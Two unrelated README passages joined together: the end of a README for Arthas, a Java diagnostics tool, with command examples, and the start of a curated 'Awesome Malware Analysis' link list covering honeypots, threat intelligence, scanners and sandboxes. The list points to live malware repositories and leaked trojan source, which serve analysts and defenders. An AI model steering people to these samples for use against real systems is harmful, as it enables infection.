at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:110)
...
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:169)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:451)
at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1121)
at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:637)
at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:316)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:745)
```
#### Trace
See what is slowing down your method invocation with trace command:
#### Watch
Watch the first parameter and thrown exception of `test.arthas.TestWatch#doGet` only if it throws exception.
```
$ watch test.arthas.TestWatch doGet {params[0], throwExp} -e
Press Ctrl+C to abort.
Affect(class-cnt:1 , method-cnt:1) cost in 65 ms.
ts=2018-09-18 10:26:28;result=@ArrayList[
@RequestFacade[org.apache.catalina.connector.RequestFacade@79f922b2],
@NullPointerException[java.lang.NullPointerException],
]
```
#### Monitor
Monitor a specific method invocation statistics, including total number of invocations, average response time, success rate, every 5 seconds:
```
$ monitor -c 5 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello
Press Ctrl+C to abort.
Affect(class-cnt:1 , method-cnt:1) cost in 109 ms.
timestamp class method total success fail avg-rt(ms) fail-rate
----------------------------------------------------------------------------------------------------------------------------
2018-09-20 09:45:32 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello 5 5 0 0.67 0.00%
timestamp class method total success fail avg-rt(ms) fail-rate
----------------------------------------------------------------------------------------------------------------------------
2018-09-20 09:45:37 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello 5 5 0 1.00 0.00%
timestamp class method total success fail avg-rt(ms) fail-rate
----------------------------------------------------------------------------------------------------------------------------
2018-09-20 09:45:42 org.apache.dubbo.demo.provider.DemoServiceImpl sayHello 5 5 0 0.43 0.00%
```
#### Time Tunnel(tt)
Record method invocation data, so that you can check the method invocation parameters, returned value and thrown exception later. It works as if you could come back and replay the past method invocation via time tunnel.
```
$ tt -t org.apache.dubbo.demo.provider.DemoServiceImpl sayHello
Press Ctrl+C to abort.
Affect(class-cnt:1 , method-cnt:1) cost in 75 ms.
INDEX TIMESTAMP COST(ms) IS-RET IS-EXP OBJECT CLASS METHOD
-------------------------------------------------------------------------------------------------------------------------------------
1000 2018-09-20 09:54:10 1.971195 true false 0x55965cca DemoServiceImpl sayHello
1001 2018-09-20 09:54:11 0.215685 true false 0x55965cca DemoServiceImpl sayHello
1002 2018-09-20 09:54:12 0.236303 true false 0x55965cca DemoServiceImpl sayHello
1003 2018-09-20 09:54:13 0.159598 true false 0x55965cca DemoServiceImpl sayHello
1004 2018-09-20 09:54:14 0.201982 true false 0x55965cca DemoServiceImpl sayHello
1005 2018-09-20 09:54:15 0.214205 true false 0x55965cca DemoServiceImpl sayHello
1006 2018-09-20 09:54:16 0.241863 true false 0x55965cca DemoServiceImpl sayHello
1007 2018-09-20 09:54:17 0.305747 true false 0x55965cca DemoServiceImpl sayHello
1008 2018-09-20 09:54:18 0.18468 true false 0x55965cca DemoServiceImpl sayHello
```
#### Classloader
```
$ classloader
name numberOfInstances loadedCountTotal
BootstrapClassLoader 1 3346
com.taobao.arthas.agent.ArthasClassloader 1 1262
java.net.URLClassLoader 2 1033
org.apache.catalina.loader.ParallelWebappClassLoader 1 628
sun.reflect.DelegatingClassLoader 166 166
sun.misc.Launcher$AppClassLoader 1 31
com.alibaba.fastjson.util.ASMClassLoader 6 15
sun.misc.Launcher$ExtClassLoader 1 7
org.jvnet.hk2.internal.DelegatingClassLoader 2 2
sun.reflect.misc.MethodUtil 1 1
```
#### Web Console
* https://alibaba.github.io/arthas/en/web-console
### Known Users
Welcome to register the company name in this issue: https://github.com/alibaba/arthas/issues/111 (in order of registration)
### Credit
#### Contributors
This project exists thanks to all the people who contribute.
<a href="https://github.com/alibaba/arthas/graphs/contributors"><img src="https://opencollective.com/arthas/contributors.svg?width=890&button=false" /></a>
#### Projects
* [greys-anatomy](https://github.com/oldmanpushcart/greys-anatomy): The Arthas code base has derived from Greys, we thank for the excellent work done by Greys.
* [termd](https://github.com/termd/termd): Arthas's terminal implementation is based on termd, an open source library for writing terminal applications in Java.
* [crash](https://github.com/crashub/crash): Arthas's text based user interface rendering is based on codes extracted from [here](https://github.com/crashub/crash/tree/1.3.2/shell)
* [cli](https://github.com/eclipse-vertx/vert.x/tree/master/src/main/java/io/vertx/core/cli): Arthas's command line interface implementation is based on cli, open sourced by vert.x
|
# Awesome Malware Analysis [](https://github.com/sindresorhus/awesome)
A curated list of awesome malware analysis tools and resources. Inspired by
[awesome-python](https://github.com/vinta/awesome-python) and
[awesome-php](https://github.com/ziadoz/awesome-php).
[](https://twitter.com/githubbers/status/1182017616740663296)
- [Malware Collection](#malware-collection)
- [Anonymizers](#anonymizers)
- [Honeypots](#honeypots)
- [Malware Corpora](#malware-corpora)
- [Open Source Threat Intelligence](#open-source-threat-intelligence)
- [Tools](#tools)
- [Other Resources](#other-resources)
- [Detection and Classification](#detection-and-classification)
- [Online Scanners and Sandboxes](#online-scanners-and-sandboxes)
- [Domain Analysis](#domain-analysis)
- [Browser Malware](#browser-malware)
- [Documents and Shellcode](#documents-and-shellcode)
- [File Carving](#file-carving)
- [Deobfuscation](#deobfuscation)
- [Debugging and Reverse Engineering](#debugging-and-reverse-engineering)
- [Network](#network)
- [Memory Forensics](#memory-forensics)
- [Windows Artifacts](#windows-artifacts)
- [Storage and Workflow](#storage-and-workflow)
- [Miscellaneous](#miscellaneous)
- [Resources](#resources)
- [Books](#books)
- [Other](#other)
- [Related Awesome Lists](#related-awesome-lists)
- [Contributing](#contributing)
- [Thanks](#thanks)
View Chinese translation: [恶意软件分析大合集.md](恶意软件分析大合集.md).
---
## Malware Collection
### Anonymizers
*Web traffic anonymizers for analysts.*
* [Anonymouse.org](http://anonymouse.org/) - A free, web based anonymizer.
* [OpenVPN](https://openvpn.net/) - VPN software and hosting solutions.
* [Privoxy](http://www.privoxy.org/) - An open source proxy server with some
privacy features.
* [Tor](https://www.torproject.org/) - The Onion Router, for browsing the web
without leaving traces of the client IP.
### Honeypots
*Trap and collect your own samples.*
* [Conpot](https://github.com/mushorg/conpot) - ICS/SCADA honeypot.
* [Cowrie](https://github.com/micheloosterhof/cowrie) - SSH honeypot, based
on Kippo.
* [DemoHunter](https://github.com/RevengeComing/DemonHunter) - Low interaction Distributed Honeypots.
* [Dionaea](https://github.com/DinoTools/dionaea) - Honeypot designed to trap malware.
* [Glastopf](https://github.com/mushorg/glastopf) - Web application honeypot.
* [Honeyd](http://www.honeyd.org/) - Create a virtual honeynet.
* [HoneyDrive](http://bruteforcelab.com/honeydrive) - Honeypot bundle Linux distro.
* [Honeytrap](https://github.com/honeytrap/honeytrap) - Opensource system for running, monitoring and managing honeypots.
* [MHN](https://github.com/pwnlandia/mhn) - MHN is a centralized server for management and data collection of honeypots. MHN allows you to deploy sensors quickly and to collect data immediately, viewable from a neat web interface.
* [Mnemosyne](https://github.com/johnnykv/mnemosyne) - A normalizer for
honeypot data; supports Dionaea.
* [Thug](https://github.com/buffer/thug) - Low interaction honeyclient, for
investigating malicious websites.
### Malware Corpora
*Malware samples collected for analysis.*
* [Clean MX](http://support.clean-mx.de/clean-mx/viruses.php) - Realtime
database of malware and malicious domains.
* [Contagio](http://contagiodump.blogspot.com/) - A collection of recent
malware samples and analyses.
* [Exploit Database](https://www.exploit-db.com/) - Exploit and shellcode
samples.
* [Infosec - CERT-PA](https://infosec.cert-pa.it/analyze/submission.html) - Malware samples collection and analysis.
* [InQuest Labs](https://labs.inquest.net) - Evergrowing searchable corpus of malicious Microsoft documents.
* [Javascript Mallware Collection](https://github.com/HynekPetrak/javascript-malware-collection) - Collection of almost 40.000 javascript malware samples
* [Malpedia](https://malpedia.caad.fkie.fraunhofer.de/) - A resource providing
rapid identification and actionable context for malware investigations.
* [Malshare](https://malshare.com) - Large repository of malware actively
scrapped from malicious sites.
* [Open Malware Project](http://openmalware.org/) - Sample information and
downloads. Formerly Offensive Computing.
* [Ragpicker](https://github.com/robbyFux/Ragpicker) - Plugin based malware
crawler with pre-analysis and reporting functionalities
* [theZoo](https://github.com/ytisf/theZoo) - Live malware samples for
analysts.
* [Tracker h3x](http://tracker.h3x.eu/) - Agregator for malware corpus tracker
and malicious download sites.
* [vduddu malware repo](https://github.com/vduddu/Malware) - Collection of
various malware files and source code.
* [VirusBay](https://beta.virusbay.io/) - Community-Based malware repository and social network.
* [ViruSign](http://www.virussign.com/) - Malware database that detected by
many anti malware programs except ClamAV.
* [VirusShare](https://virusshare.com/) - Malware repository, registration
required.
* [VX Vault](http://vxvault.net) - Active collection of malware samples.
* [Zeltser's Sources](https://zeltser.com/malware-sample-sources/) - A list
of malware sample sources put together by Lenny Zeltser.
* [Zeus Source Code](https://github.com/Visgean/Zeus) - Source for the Zeus
trojan leaked in 2011.
* [VX Underground](http://vx-underground.org/) - Massive and growing collection of free malware samples.
## Open Source Threat Intelligence
### Tools
*Harvest and analyze IOCs.*
* [AbuseHelper](https://github.com/abusesa/abusehelper) - An open-source
framework for receiving and redistributing abuse feeds and threat intel.
* [AlienVault Open Threat Exchange](https://otx.alienvault.com/) - Share and
collaborate in developing Threat Intelligence.
* [Combine](https://github.com/mlsecproject/combine) - Tool to gather Threat
Intelligence indicators from publicly available sources.
* [Fileintel](https://github.com/keithjjones/fileintel) - Pull intelligence per file hash.
* [Hostintel](https://github.com/keithjjones/hostintel) - Pull intelligence per host.
* [IntelMQ](https://www.enisa.europa.eu/topics/csirt-cert-services/community-projects/incident-handling-automation) -
A tool for CERTs for processing incident data using a message queue.
* [IOC Editor](https://www.fireeye.com/services/freeware/ioc-editor.html) -
A free editor for XML IOC files.
* [iocextract](https://github.com/InQuest/python-iocextract) - Advanced Indicator
of Compromise (IOC) extractor, Python library and command-line tool.
* [ioc_writer](https://github.com/mandiant/ioc_writer) - Python library for
working with OpenIOC objects, from Mandiant.
* [MalPipe](https://github.com/silascutler/MalPipe) - Malware/IOC ingestion and
processing engine, that enriches collected data.
* [Massive Octo Spice](https://github.com/csirtgadgets/massive-octo-spice) -
Previously known as CIF (Collective Intelligence Framework). Aggregates IOCs
from various lists. Curated by the
[CSIRT Gadgets Foundation](http://csirtgadgets.org/collective-intelligence-framework).
* [MISP](https://github.com/MISP/MISP) - Malware Information Sharing
Platform curated by [The MISP Project](http://www.misp-project.org/).
* [Pulsedive](https://pulsedive.com) - Free, community-driven threat intelligence platform collecting IOCs from open-source feeds.
* [PyIOCe](https://github.com/pidydx/PyIOCe) - A Python OpenIOC editor.
* [RiskIQ](https://community.riskiq.com/) - Research, connect, tag and
share IPs and domains. (Was PassiveTotal.)
* [threataggregator](https://github.com/jpsenior/threataggregator) -
Aggregates security threats from a number of sources, including some of
those listed below in [other resources](#other-resources).
* [ThreatConnect](https://threatconnect.com/free/) - TC Open allows you to see and
share open source threat data, with support and validation from our free community.
* [ThreatCrowd](https://www.threatcrowd.org/) - A search engine for threats,
with graphical visualization.
* [ThreatIngestor](https://github.com/InQuest/ThreatIngestor/) - Build
automated threat intel pipelines sourcing from Twitter, RSS, GitHub, and
more.
* [ThreatTracker](https://github.com/michael-yip/ThreatTracker) - A Python
script to monitor and generate alerts based on IOCs indexed by a set of
Google Custom Search Engines.
* [TIQ-test](https://github.com/mlsecproject/tiq-test) - Data visualization
and statistical analysis of Threat Intelligence feeds.
### Other Resources
*Threat intelligence and IOC resources.*
* [Autoshun](https://www.autoshun.org/) ([list](https://www.autoshun.org/files/shunlist.csv)) -
Snort plugin and blocklist.
* [Bambenek Consulting Feeds](http://osint.bambenekconsulting.com/feeds/) -
OSINT feeds based on malicious DGA algorithms.
* [Fidelis Barncat](https://www.fidelissecurity.com/resources/fidelis-barncat) -
Extensive malware config database (must request access).
* [CI Army](http://cinsscore.com/) ([list](http://cinsscore.com/list/ci-badguys.txt)) -
Network security blocklists.
* [Critical Stack- Free Intel Market](https://intel.criticalstack.com) - Free
intel aggregator with deduplication featuring 90+ feeds and over 1.2M indicators.
* [Cybercrime tracker](http://cybercrime-tracker.net/) - Multiple botnet active tracker.
* [FireEye IOCs](https://github.com/fireeye/iocs) - Indicators of Compromise
shared publicly by FireEye.
* [FireHOL IP Lists](https://iplists.firehol.org/) - Analytics for 350+ IP lists
with a focus on attacks, malware and abuse. Evolution, Changes History,
Country Maps, Age of IPs listed, Retention Policy, Overlaps.
* [HoneyDB](https://riskdiscovery.com/honeydb) - Community driven honeypot sensor data collection and aggregation.
* [hpfeeds](https://github.com/rep/hpfeeds) - Honeypot feed protocol.
* [Infosec - CERT-PA lists](https://infosec.cert-pa.it/analyze/statistics.html) ([IPs](https://infosec.cert-pa.it/analyze/listip.txt) - [Domains](https://infosec.cert-pa.it/analyze/listdomains.txt) - [URLs](https://infosec.cert-pa.it/analyze/listurls.txt)) - Blocklist service.
* [InQuest REPdb](https://labs.inquest.net/repdb) - Continuous aggregation of IOCs from a variety of open reputation sources.
* [InQuest IOCdb](https://labs.inquest.net/iocdb) - Continuous aggregation of IOCs from a variety of blogs, Github repos, and Twitter.
* [Internet Storm Center (DShield)](https://isc.sans.edu/) - Diary and
searchable incident database, with a web [API](https://dshield.org/api/).
([unofficial Python library](https://github.com/rshipp/python-dshield)).
* [malc0de](http://malc0de.com/database/) - Searchable incident database.
* [Malware Domain List](http://www.malwaredomainlist.com/) - Search and share
malicious URLs.
* [MetaDefender Threat Intelligence Feed](https://www.opswat.com/developers/threat-intelligence-feed) -
List of the most looked up file hashes from MetaDefender Cloud.
* [OpenIOC](https://www.fireeye.com/services/freeware.html) - Framework for sharing threat intelligence.
* [Proofpoint Threat Intelligence](https://www.proofpoint.com/us/products/et-intelligence) -
Rulesets and more. (Formerly Emerging Threats.)
* [Ransomware overview](https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml) -
A list of ransomware overview with details, detection and prevention.
* [STIX - Structured Threat Information eXpression](http://stixproject.github.io) -
Standardized language to represent and share cyber threat information.
Related efforts from [MITRE](https://www.mitre.org/):
- [CAPEC - Common Attack Pattern Enumeration and Classification](http://capec.mitre.org/)
- [CybOX - Cyber Observables eXpression](http://cyboxproject.github.io)
- [MAEC - Malware Attribute Enumeration and Characterization](http://maec.mitre.org/)
- [TAXII - Trusted Automated eXchange of Indicator Information](http://taxiiproject.github.io)
* [SystemLookup](https://www.systemlookup.com/) - SystemLookup hosts a collection of lists that provide information on
the components of legitimate and potentially unwanted programs.
* [ThreatMiner](https://www.threatminer.org/) - Data mining portal for threat
intelligence, with search.
* [threatRECON](https://threatrecon.co/) - Search for indicators, up to 1000
free per month.
* [ThreatShare](https://threatshare.io/) - C2 panel tracker
* [Yara rules](https://github.com/Yara-Rules/rules) - Yara rules repository.
* [YETI](https://github.com/yeti-platform/yeti) - Yeti is a platform meant to organize observables, indicators of compromise, TTPs, and knowledge on threats in a single, unified repository.
* [ZeuS Tracker](https://zeustracker.abuse.ch/blocklist.php) - ZeuS
blocklists.
## Detection and Classification
*Antivirus and other malware identification tools*
* [AnalyzePE](https://github.com/hiddenillusion/AnalyzePE) - Wrapper for a
variety of tools for reporting on Windows PE files.
* [Assemblyline](https://bitbucket.org/cse-assemblyline/assemblyline) - A scalable
distributed file analysis framework.
* [BinaryAlert](https://github.com/airbnb/binaryalert) - An open source, serverless
AWS pipeline that scans and alerts on uploaded files based on a set of
YARA rules.
* [capa](https://github.com/fireeye/capa) - Detects capabilities in executable files.
* [chkrootkit](http://www.chkrootkit.org/) - Local Linux rootkit detection.
* [ClamAV](http://www.clamav.net/) - Open source antivirus engine.
* [Detect It Easy(DiE)](https://github.com/horsicq/Detect-It-Easy) - A program for
determining types of files.
* [Exeinfo PE](http://exeinfo.pe.hu/) - Packer, compressor detector, unpack
info, internal exe tools.
* [ExifTool](https://sno.phy.queensu.ca/~phil/exiftool/) - Read, write and
edit file metadata.
* [File Scanning Framework](https://github.com/EmersonElectricCo/fsf) -
Modular, recursive file scanning solution.
* [fn2yara](https://github.com/cmu-sei/pharos) - FN2Yara is a tool to generate
Yara signatures for matching functions (code) in an executable program.
* [Generic File Parser](https://github.com/uppusaikiran/generic-parser) - A Single Library Parser to extract meta information,static analysis and detect macros within the files.
* [hashdeep](https://github.com/jessek/hashdeep) - Compute digest hashes with
a variety of algorithms.
* [HashCheck](https://github.com/gurnec/HashCheck) - Windows shell extension
to compute hashes with a variety of algorithms.
* [Loki](https://github.com/Neo23x0/Loki) - Host based scanner for IOCs.
* [Malfunction](https://github.com/Dynetics/Malfunction) - Catalog and
compare malware at a function level.
* [Manalyze](https://github.com/JusticeRage/Manalyze) - Static analyzer for PE
executables.
* [MASTIFF](https://github.com/KoreLogicSecurity/mastiff) - Static analysis
framework.
* [MultiScanner](https://github.com/mitre/multiscanner) - Modular file
scanning/analysis framework
* [Nauz File Detector(NFD)](https://github.com/horsicq/Nauz-File-Detector) - Linker/Compiler/Tool detector for Windows, Linux and MacOS.
* [nsrllookup](https://github.com/rjhansen/nsrllookup) - A tool for looking
up hashes in NIST's National Software Reference Library database.
* [packerid](http://handlers.sans.org/jclausing/packerid.py) - A cross-platform
Python alternative to PEiD.
* [PE-bear](https://hshrzd.wordpress.com/pe-bear/) - Reversing tool for PE
files.
* [PEframe](https://github.com/guelfoweb/peframe) - PEframe is an open source tool to perform static analysis on Portable Executable malware and malicious MS Office documents.
* [PEV](http://pev.sourceforge.net/) - A multiplatform toolkit to work with PE
files, providing feature-rich tools for proper analysis of suspicious binaries.
* [PortEx](https://github.com/katjahahn/PortEx) - Java library to analyse PE files with a special focus on malware analysis and PE malformation robustness.
* [Quark-Engine](https://github.com/quark-engine/quark-engine) - An Obfuscation-Neglect Android Malware Scoring System
* [Rootkit Hunter](http://rkhunter.sourceforge.net/) - Detect Linux rootkits.
* [ssdeep](https://ssdeep-project.github.io/ssdeep/) - Compute fuzzy hashes.
* [totalhash.py](https://gist.github.com/gleblanc1783/3c8e6b379fa9d646d401b96ab5c7877f) -
Python script for easy searching of the [TotalHash.cymru.com](https://totalhash.cymru.com/)
database.
* [TrID](http://mark0.net/soft-trid-e.html) - File identifier.
* [YARA](https://plusvic.github.io/yara/) - Pattern matching tool for
analysts.
* [Yara rules generator](https://github.com/Neo23x0/yarGen) - Generate
yara rules based on a set of malware samples. Also contains a good
strings DB to avoid false positives.
* [Yara Finder](https://github.com/uppusaikiran/yara-finder) - A simple tool to yara match the file against various yara rules to find the indicators of suspicion.
## Online Scanners and Sandboxes
*Web-based multi-AV scanners, and malware sandboxes for automated analysis.*
* [anlyz.io](https://sandbox.anlyz.io/) - Online sandbox.
* [any.run](https://app.any.run/) - Online interactive sandbox.
* [AndroTotal](https://andrototal.org/) - Free online analysis of APKs
against multiple mobile antivirus apps.
* [AVCaesar](https://avcaesar.malware.lu/) - Malware.lu online scanner and
malware repository.
* [BoomBox](https://github.com/nbeede/BoomBox) - Automatic deployment of Cuckoo
Sandbox malware lab using Packer and Vagrant.
* [Cryptam](http://www.cryptam.com/) - Analyze suspicious office documents.
* [Cuckoo Sandbox](https://cuckoosandbox.org/) - Open source, self hosted
sandbox and automated analysis system.
* [cuckoo-modified](https://github.com/brad-accuvant/cuckoo-modified) - Modified
version of Cuckoo Sandbox released under the GPL. Not merged upstream due to
legal concerns by the author.
* [cuckoo-modified-api](https://github.com/keithjjones/cuckoo-modified-api) - A
Python API used to control a cuckoo-modified sandbox.
* [DeepViz](https://www.deepviz.com/) - Multi-format file analyzer with
machine-learning classification.
* [detux](https://github.com/detuxsandbox/detux/) - A sandbox developed to do
traffic analysis of Linux malwares and capturing IOCs.
* [DRAKVUF](https://github.com/tklengyel/drakvuf) - Dynamic malware analysis
system.
* [firmware.re](http://firmware.re/) - Unpacks, scans and analyzes almost any
firmware package.
* [HaboMalHunter](https://github.com/Tencent/HaboMalHunter) - An Automated Malware
Analysis Tool for Linux ELF Files.
* [Hybrid Analysis](https://www.hybrid-analysis.com/) - Online malware
analysis tool, powered by VxSandbox.
* [Intezer](https://analyze.intezer.com) - Detect, analyze, and categorize malware by
identifying code reuse and code similarities.
* [IRMA](http://irma.quarkslab.com/) - An asynchronous and customizable
analysis platform for suspicious files.
* [Joe Sandbox](https://www.joesecurity.org) - Deep malware analysis with Joe Sandbox.
* [Jotti](https://virusscan.jotti.org/en) - Free online multi-AV scanner.
* [Limon](https://github.com/monnappa22/Limon) - Sandbox for Analyzing Linux Malware.
* [Malheur](https://github.com/rieck/malheur) - Automatic sandboxed analysis
of malware behavior.
* [malice.io](https://github.com/maliceio/malice) - Massively scalable malware analysis framework.
* [malsub](https://github.com/diogo-fernan/malsub) - A Python RESTful API framework for
online malware and URL analysis services.
* [Malware config](https://malwareconfig.com/) - Extract, decode and display online
the configuration settings from common malwares.
* [MalwareAnalyser.io](https://malwareanalyser.io/) - Online malware anomaly-based static analyser with heuristic detection engine powered by data mining and machine learning.
* [Malwr](https://malwr.com/) - Free analysis with an online Cuckoo Sandbox
instance.
* [MetaDefender Cloud](https://metadefender.opswat.com/ ) - Scan a file, hash, IP, URL or
domain address for malware for free.
* [NetworkTotal](https://www.networktotal.com/index.html) - A service that analyzes
pcap files and facilitates the quick detection of viruses, worms, trojans, and all
kinds of malware using Suricata configured with EmergingThreats Pro.
* [Noriben](https://github.com/Rurik/Noriben) - Uses Sysinternals Procmon to
collect information about malware in a sandboxed environment.
* [PacketTotal](https://packettotal.com/) - PacketTotal is an online engine for analyzing .pcap files, and visualizing the network traffic within.
* [PDF Examiner](http://www.pdfexaminer.com/) - Analyse suspicious PDF files.
* [ProcDot](http://www.procdot.com) - A graphical malware analysis tool kit.
* [Recomposer](https://github.com/secretsquirrel/recomposer) - A helper
script for safely uploading binaries to sandbox sites.
* [sandboxapi](https://github.com/InQuest/python-sandboxapi) - Python library for
building integrations with several open source and commercial malware sandboxes.
* [SEE](https://github.com/F-Secure/see) - Sandboxed Execution Environment (SEE)
is a framework for building test automation in secured Environments.
* [SEKOIA Dropper Analysis](https://malware.sekoia.fr/) - Online dropper analysis (Js, VBScript, Microsoft Office, PDF).
* [VirusTotal](https://www.virustotal.com/) - Free online analysis of malware
samples and URLs
* [Visualize_Logs](https://github.com/keithjjones/visualize_logs) - Open source
visualization library and command line tools for logs. (Cuckoo, Procmon, more
to come...)
* [Zeltser's List](https://zeltser.com/automated-malware-analysis/) - Free
automated sandboxes and services, compiled by Lenny Zeltser.
## Domain Analysis
*Inspect domains and IP addresses.*
* [AbuseIPDB](https://www.abuseipdb.com/) - AbuseIPDB is a project dedicated
to helping combat the spread of hackers, spammers, and abusive activity on the internet.
* [badips.com](https://www.badips.com/) - Community based IP blacklist service.
* [boomerang](https://github.com/EmersonElectricCo/boomerang) - A tool designed
for consistent and safe capture of off network web resources.
* [Cymon](https://cymon.io/) - Threat intelligence tracker, with IP/domain/hash
search.
* [Desenmascara.me](http://desenmascara.me) - One click tool to retrieve as
much metadata as possible for a website and to assess its good standing.
* [Dig](https://networking.ringofsaturn.com/) - Free online dig and other
network tools.
* [dnstwist](https://github.com/elceef/dnstwist) - Domain name permutation
engine for detecting typo squatting, phishing and corporate espionage.
* [IPinfo](https://github.com/hiddenillusion/IPinfo) - Gather information
about an IP or domain by searching online resources.
* [Machinae](https://github.com/hurricanelabs/machinae) - OSINT tool for
gathering information about URLs, IPs, or hashes. Similar to Automator.
* [mailchecker](https://github.com/FGRibreau/mailchecker) - Cross-language
temporary email detection library.
* [MaltegoVT](https://github.com/michael-yip/MaltegoVT) - Maltego transform
for the VirusTotal API. Allows domain/IP research, and searching for file
hashes and scan reports.
* [Multi rbl](http://multirbl.valli.org/) - Multiple DNS blacklist and forward
confirmed reverse DNS lookup over more than 300 RBLs.
* [NormShield Services](https://services.normshield.com/) - Free API Services
for detecting possible phishing domains, blacklisted ip addresses and breached
accounts.
* [PhishStats](https://phishstats.info/) - Phishing Statistics with search for
IP, domain and website title
* [Spyse](https://spyse.com/) - subdomains, whois, realted domains, DNS, hosts AS, SSL/TLS info,
* [SecurityTrails](https://securitytrails.com/) - Historical and current WHOIS,
historical and current DNS records, similar domains, certificate information
and other domain and IP related API and tools.
* [SpamCop](https://www.spamcop.net/bl.shtml) - IP based spam block list.
* [SpamHaus](https://www.spamhaus.org/lookup/) - Block list based on
domains and IPs.
* [Sucuri SiteCheck](https://sitecheck.sucuri.net/) - Free Website Malware
and Security Scanner.
* [Talos Intelligence](https://talosintelligence.com/) - Search for IP, domain
or network owner. (Previously SenderBase.)
* [TekDefense Automater](http://www.tekdefense.com/automater/) - OSINT tool
for gathering information about URLs, IPs, or hashes.
* [URLhaus](https://urlhaus.abuse.ch/) - A project from abuse.ch with the goal
of sharing malicious URLs that are being used for malware distribution.
* [URLQuery](http://urlquery.net/) - Free URL Scanner.
* [urlscan.io](https://urlscan.io/) - Free URL Scanner & domain information.
* [Whois](https://whois.domaintools.com/) - DomainTools free online whois
search.
* [Zeltser's List](https://zeltser.com/lookup-malicious-websites/) - Free
online tools for researching malicious websites, compiled by Lenny Zeltser.
* [ZScalar Zulu](https://zulu.zscaler.com/#) - Zulu URL Risk Analyzer.
## Browser Malware
*Analyze malicious URLs. See also the [domain analysis](#domain-analysis) and
[documents and shellcode](#documents-and-shellcode) sections.*
* [Bytecode Viewer](https://github.com/Konloch/bytecode-viewer) - Combines
multiple Java bytecode viewers and decompilers into one tool, including
APK/DEX support.
* [Firebug](https://getfirebug.com/) - Firefox extension for web development.
* [Java Decompiler](http://jd.benow.ca/) - Decompile and inspect Java apps.
* [Java IDX Parser](https://github.com/Rurik/Java_IDX_Parser/) - Parses Java
IDX cache files.
* [JSDetox](http://www.relentless-coding.com/projects/jsdetox/) - JavaScript
malware analysis tool.
* [jsunpack-n](https://github.com/urule99/jsunpack-n) - A javascript
unpacker that emulates browser functionality.
* [Krakatau](https://github.com/Storyyeller/Krakatau) - Java decompiler,
assembler, and disassembler.
* [Malzilla](http://malzilla.sourceforge.net/) - Analyze malicious web pages.
* [RABCDAsm](https://github.com/CyberShadow/RABCDAsm) - A "Robust
ActionScript Bytecode Disassembler."
* [SWF Investigator](https://labs.adobe.com/technologies/swfinvestigator/) -
Static and dynamic analysis of SWF applications.
* [swftools](http://www.swftools.org/) - Tools for working with Adobe Flash
files.
* [xxxswf](http://hooked-on-mnemonics.blogspot.com/2011/12/xxxswfpy.html) - A
Python script for analyzing Flash files.
## Documents and Shellcode
*Analyze malicious JS and shellcode from PDFs and Office documents. See also
the [browser malware](#browser-malware) section.*
* [AnalyzePDF](https://github.com/hiddenillusion/AnalyzePDF) - A tool for
analyzing PDFs and attempting to determine whether they are malicious.
* [box-js](https://github.com/CapacitorSet/box-js) - A tool for studying JavaScript
malware, featuring JScript/WScript support and ActiveX emulation.
* [diStorm](http://www.ragestorm.net/distorm/) - Disassembler for analyzing
malicious shellcode.
* [InQuest Deep File Inspection](https://labs.inquest.net/dfi) - Upload common malware lures for Deep File Inspection and heuristical analysis.
* [JS Beautifier](http://jsbeautifier.org/) - JavaScript unpacking and deobfuscation.
* [libemu](http://libemu.carnivore.it/) - Library and tools for x86 shellcode
emulation.
* [malpdfobj](https://github.com/9b/malpdfobj) - Deconstruct malicious PDFs
into a JSON representation.
* [OfficeMalScanner](http://www.reconstructer.org/code.html) - Scan for
malicious traces in MS Office documents.
* [olevba](http://www.decalage.info/python/olevba) - A script for parsing OLE
and OpenXML documents and extracting useful information.
* [Origami PDF](https://code.google.com/archive/p/origami-pdf) - A tool for
analyzing malicious PDFs, and more.
* [PDF Tools](https://blog.didierstevens.com/programs/pdf-tools/) - pdfid,
pdf-parser, and more from Didier Stevens.
* [PDF X-Ray Lite](https://github.com/9b/pdfxray_lite) - A PDF analysis tool,
the backend-free version of PDF X-RAY.
* [peepdf](http://eternal-todo.com/tools/peepdf-pdf-analysis-tool) - Python
tool for exploring possibly malicious PDFs.
* [QuickSand](https://www.quicksand.io/) - QuickSand is a compact C framework
to analyze suspected malware documents to identify exploits in streams of different
encodings and to locate and extract embedded executables.
* [Spidermonkey](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey) -
Mozilla's JavaScript engine, for debugging malicious JS.
## File Carving
*For extracting files from inside disk and memory images.*
* [bulk_extractor](https://github.com/simsong/bulk_extractor) - Fast file
carving tool.
* [EVTXtract](https://github.com/williballenthin/EVTXtract) - Carve Windows
Event Log files from raw binary data.
* [Foremost](http://foremost.sourceforge.net/) - File carving tool designed
by the US Air Force.
* [hachoir3](https://github.com/vstinner/hachoir3) - Hachoir is a Python library
to view and edit a binary stream field by field.
* [Scalpel](https://github.com/sleuthkit/scalpel) - Another data carving
tool.
* [SFlock](https://github.com/jbremer/sflock) - Nested archive
extraction/unpacking (used in Cuckoo Sandbox).
## Deobfuscation
*Reverse XOR and other code obfuscation methods.*
* [Balbuzard](https://bitbucket.org/decalage/balbuzard/wiki/Home) - A malware
analysis tool for reversing obfuscation (XOR, ROL, etc) and more.
* [de4dot](https://github.com/0xd4d/de4dot) - .NET deobfuscator and
unpacker.
